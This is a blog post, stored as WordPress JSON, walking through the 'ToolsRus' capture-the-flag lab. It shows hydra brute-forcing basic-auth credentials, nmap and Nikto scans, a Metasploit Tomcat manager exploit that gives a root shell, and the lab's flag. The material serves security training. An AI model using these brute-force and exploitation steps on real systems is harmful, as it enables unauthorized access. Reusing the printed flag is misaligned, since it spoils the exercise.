{"id":120,"date":"2020-06-01T07:52:13","date_gmt":"2020-05-31T23:52:13","guid":{"rendered":"https:\/\/byy3.com\/?p=120"},"modified":"2020-06-01T07:52:13","modified_gmt":"2020-05-31T23:52:13","slug":"toolsrus","status":"publish","type":"post","link":"https:\/\/byy3.com\/?p=120","title":{"rendered":"ToolsRus"},"content":{"rendered":"\n

[Task 1] ToysRus<\/strong><\/p>\n\n\n\n

What directory can you find, that begins with a g?
- Open DirBuster
- input target url and wordlist
- Click Start and wait<\/li><\/ol>\n\n\n\n
$\"ToolsRus\u63d2\u56fe\"$ <\/figure>\n\n\n\n
$\"ToolsRus\u63d2\u56fe1\"$ <\/figure>\n\n\n\n
open \/guidelines\/<\/p>\n\n\n\n
http:\/\/<ip>\/guidelines\/<\/a><\/pre>\n\n\n\n
$\"ToolsRus\u63d2\u56fe2\"$ <\/figure>\n\n\n\n
2. Whose name can you find from this directory? Bob<\/strong><\/p>\n\n\n\n
3. What directory has basic authentication? Protected<\/strong><\/p>\n\n\n\n
$\"ToolsRus\u63d2\u56fe3\"$ <\/figure>\n\n\n\n $\"ToolsRus\u63d2\u56fe4\"$ <\/figure>\n\n\n\n
4. What is bob\u2019s password to the protected part of the website?
I used hydra to crack the password with http-get form<\/p>\n\n\n\n
hydra -l bob -P \/root\/Desktop\/rockyou.txt -f 10.10.176.108 http-get \/protected\/<\/pre>\n\n\n\n
$\"ToolsRus\u63d2\u56fe5\"$ <\/figure>\n\n\n\n
Try to login with credential<\/p>\n\n\n\n
$\"ToolsRus\u63d2\u56fe6\"$ <\/figure>\n\n\n\n
5. What other port that serves a webs service is open on the machine?
Find open port<\/p>\n\n\n\n
nmap -Pn 10.10.176.108<\/pre>\n\n\n\n
$\"ToolsRus\u63d2\u56fe7\"$ <\/figure>\n\n\n\n
Find services<\/p>\n\n\n\n
nmap -sV -T 4 10.10.176.108<\/pre>\n\n\n\n
$\"ToolsRus\u63d2\u56fe8\"$ <\/figure>\n\n\n\n
Tomcat port is 1234<\/strong><\/p>\n\n\n\n
6. Going to the service running on that port, what is the name and version of the software?<\/p>\n\n\n\n
nmap -sV -A -T 4 10.10.176.108<\/pre>\n\n\n\n
$\"ToolsRus\u63d2\u56fe9\"$ <\/figure>\n\n\n\n
Apache Tomcat\/7.0.88<\/strong><\/p>\n\n\n\n
Also access port 1234<\/p>\n\n\n\n
$\"ToolsRus\u63d2\u56fe10\"$ <\/figure>\n\n\n\n
7. Use Nikto with the credentials you have found and scan the \/manager\/html directory on the port found above.
How many documentation files did Nikto identify?<\/p>\n\n\n\n
Click Manager App<\/p>\n\n\n\n
$\"ToolsRus\u63d2\u56fe11\"$ <\/figure>\n\n\n\n
Try with credential<\/p>\n\n\n\n
$\"ToolsRus\u63d2\u56fe12\"$ <\/figure>\n\n\n\n
$\"ToolsRus\u63d2\u56fe13\"$ <\/figure>\n\n\n\n
Let\u2019s scan the site<\/p>\n\n\n\n
nikto -h http:\/\/10.10.131.147:1234\/manager\/html<\/a> -id bob:<password><\/pre>\n\n\n\n
$\"ToolsRus\u63d2\u56fe14\"$ <\/figure>\n\n\n\n
There\u2019re 5 documents.<\/strong><\/p>\n\n\n\n
10. Where is Ektron CMS version information found?
\/manager\/html\/WorkArea\/version.xml<\/strong><\/p>\n\n\n\n
9. What version of Apache-Coyote is this service using? 1.1<\/strong><\/p>\n\n\n\n
$\"ToolsRus\u63d2\u56fe9\"$ <\/figure>\n\n\n\n
10. Use Metasploit to exploit the service and get a shell on the system.
What user did you get a shell as?<\/p>\n\n\n\n
msfconsole<\/pre>\n\n\n\n
$\"ToolsRus\u63d2\u56fe15\"$ <\/figure>\n\n\n\n
search tomcat<\/pre>\n\n\n\n
There\u2019re 3 exploits that I can use.<\/p>\n\n\n\n
$\"ToolsRus\u63d2\u56fe16\"$ <\/figure>\n\n\n\n
I tried to use #13 and #14, but it didn\u2019t work. I\u2019ll skip to #15.<\/p>\n\n\n\n
use 15<\/pre>\n\n\n\n
$\"ToolsRus\u63d2\u56fe17\"$ <\/figure>\n\n\n\n
show options<\/pre>\n\n\n\n
$\"ToolsRus\u63d2\u56fe18\"$ <\/figure>\n\n\n\n
set HttpPassword <password>
set HttpUsername bob
set RHOSTS <ip>
set RPORT 1234<\/pre>\n\n\n\n
$\"ToolsRus\u63d2\u56fe19\"$ <\/figure>\n\n\n\n
run<\/pre>\n\n\n\n
$\"ToolsRus\u63d2\u56fe20\"$ <\/figure>\n\n\n\n
Let\u2019s get shell<\/p>\n\n\n\n
shell<\/pre>\n\n\n\n
$\"ToolsRus\u63d2\u56fe21\"$ <\/figure>\n\n\n\n
whoami<\/pre>\n\n\n\n
$\"ToolsRus\u63d2\u56fe22\"$ <\/figure>\n\n\n\n
What user did you get a shell as? root<\/strong><\/p>\n\n\n\n
10. What text is in the file \/root\/flag.txt<\/p>\n\n\n\n
cd \/root
ls
cat flag.txt<\/pre>\n\n\n\n
$\"ToolsRus\u63d2\u56fe23\"$ <\/figure>\n\n\n\n
ff1fc4a81affcc7688cf89ae7dc6e0e1<\/strong><\/p>\n","protected":false},"excerpt":{"rendered":"
[Task 1] ToysRus What directory can you find, that begi […]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[1],"tags":[],"class_list":["post-120","post","type-post","status-publish","format-standard","hentry","category-net-security"],"_links":{"self":[{"href":"https:\/\/byy3.com\/index.php?rest_route=\/wp\/v2\/posts\/120","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/byy3.com\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/byy3.com\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/byy3.com\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/byy3.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=120"}],"version-history":[{"count":0,"href":"https:\/\/byy3.com\/index.php?rest_route=\/wp\/v2\/posts\/120\/revisions"}],"wp:attachment":[{"href":"https:\/\/byy3.com\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=120"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/byy3.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=120"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/byy3.com\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=120"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}